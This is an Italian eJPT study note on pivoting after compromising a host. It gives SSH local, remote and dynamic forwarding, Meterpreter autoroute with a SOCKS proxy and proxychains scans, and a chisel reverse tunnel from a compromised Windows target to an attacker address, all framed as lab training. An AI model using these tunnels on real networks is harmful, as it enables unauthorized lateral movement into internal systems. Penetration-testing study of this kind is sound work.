eJPT · Exploitation & Post-Ex
Pivoting e Port Forwarding
Difficoltà: Intermediate Time to Master: 2.5h Prerequisiti: 03-Privilege-Escalation-Windows.md, 04-Privilege-Escalation-Linux.md Lab: INE PTS labs (rete multi-segmento)
Obiettivo
Compromenti il primo host, lanci un ip a per curiosità, e trovi una seconda interfaccia di rete che punta a una subnet che dal tuo attaccante non hai mai visto. È lì che entra in gioco il pivoting: usare quell’host come punto d’appoggio per instradare il tuo traffico verso reti che altrimenti resterebbero fuori portata. Nei lab INE PTS (reti multi-segmento per costruzione) questo non è un caso raro: è quasi la normalità.
Concetti chiave
Perché serve il pivoting
Un host compromesso spesso ha una seconda interfaccia di rete verso una subnet interna non raggiungibile direttamente dall’attaccante. Il pivoting instrada il tuo traffico attraverso quell’host per raggiungere quella subnet, come se il pivot diventasse temporaneamente il tuo router verso una rete che altrimenti non esiste per te.
Tecniche principali
| Tecnica | Come funziona | Quando usarla |
|---|---|---|
SSH local forward (-L) |
apre una porta locale che inoltra verso un host/porta remoti tramite il tunnel SSH | accedere a un singolo servizio interno |
SSH remote forward (-R) |
apre una porta sul lato remoto che inoltra verso l’attaccante | esporre un listener locale al target |
SSH dynamic forward (-D) |
crea un proxy SOCKS attraverso il tunnel | instradare traffico arbitrario (con proxychains) verso la subnet interna |
| Meterpreter autoroute | aggiunge una rotta nel routing table di Metasploit verso la subnet pivot | usare moduli Metasploit direttamente sulla subnet interna |
| Chisel | tunnel HTTP/websocket client-server, utile se SSH non è disponibile | ambienti Windows o quando serve un tunnel più flessibile |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| ssh -L | ssh -L 8080:10.10.10.20:80 user@pivot-host |
porta 8080 locale -> porta 80 sull’host interno | richiede accesso SSH al pivot |
| ssh -D | ssh -D 1080 user@pivot-host |
proxy SOCKS su localhost:1080 | usare con proxychains per instradare altri tool |
| proxychains | proxychains nmap -sT -Pn 10.10.10.20 |
scan instradato attraverso il proxy SOCKS | va usato -sT (no SYN scan attraverso proxy) |
| meterpreter autoroute | run autoroute -s 10.10.10.0/24 |
rotta aggiunta verso la subnet | poi si può usare socks_proxy per proxychains anche da Metasploit |
| chisel | ./chisel server -p 8000 --reverse (attaccante) / ./chisel client 10.10.14.5:8000 R:1080:socks (target) |
tunnel reverse con proxy SOCKS | utile su Windows dove SSH non e disponibile |
Payload / Esempi
Esempio 1: SSH local port forward verso un servizio interno
ssh -L 8080:10.10.20.5:80 user@10.10.10.5
# in un altro terminale:
curl http://127.0.0.1:8080
Spiegazione: l’host 10.10.10.5 (pivot, raggiungibile) può raggiungere 10.10.20.5:80 (subnet interna, non raggiungibile direttamente). Il forward rende quel servizio disponibile su localhost:8080 dell’attaccante.
Esempio 2: Meterpreter autoroute + proxychains
meterpreter > run autoroute -s 10.10.20.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j
# configura /etc/proxychains4.conf con socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 445 10.10.20.10
Output atteso:
[proxychains] Strict chain ... 10.10.20.10:445 ... OK
Spiegazione: autoroute fa in modo che qualsiasi modulo Metasploit lanciato dopo instradi automaticamente il traffico per quella subnet attraverso la sessione meterpreter; socks_proxy espone lo stesso instradamento come proxy SOCKS utilizzabile da tool esterni tramite proxychains.
Esempio 3: chisel per pivoting senza SSH (target Windows)
# sull'attaccante
./chisel server -p 8000 --reverse
# sul target Windows compromesso
chisel.exe client 10.10.14.5:8000 R:1080:socks
Spiegazione: chisel crea un tunnel reverse HTTP che incapsula un proxy SOCKS, utile quando il target non ha un client SSH disponibile (tipico su Windows senza OpenSSH installato).
Evasion / Bypass Techniques
Non applicabile in senso offensivo classico; l’unica accortezza e usare -sT (TCP connect) con proxychains, dato che scan SYN raw non funzionano attraverso un proxy SOCKS a livello applicativo.
Lab Hands-On
Lab 1: INE PTS lab multi-subnet
Obiettivo: compromettere un host nella DMZ e usarlo come pivot per raggiungere la subnet interna Difficulty: Media-Alta Time: 2h
Walkthrough breve:
- Compromenti il primo host raggiungibile (DMZ)
- Enumera le interfacce di rete dell’host (
ip a/ipconfig) per scoprire subnet interne - Configura un tunnel (SSH -D o meterpreter autoroute) verso la subnet interna
- Ripeti scanning/enumeration/exploitation sulla subnet interna attraverso il tunnel
Common Mistakes
- Dimenticare di controllare le interfacce di rete di un host compromesso -> si perde una subnet intera raggiungibile solo da li
- Usare -sS (SYN scan) con proxychains -> non funziona, serve sempre -sT
- Non richiudere i tunnel a fine engagement -> lasciano accesso residuo indesiderato
Link Utili
Connessioni
- Prerequisito: 03-Privilege-Escalation-Windows.md, 04-Privilege-Escalation-Linux.md
- Prossimo Step: 06-Persistence-Basics.md
- Combinazione con: ../07-Metasploit-Framework/04-Meterpreter-Msfvenom.md
Checklist di padronanza
- So creare un tunnel SSH -L e -D
- So usare autoroute + socks_proxy in Metasploit
- So usare proxychains con nmap correttamente (-sT)
- Conosco chisel come alternativa quando SSH non e disponibile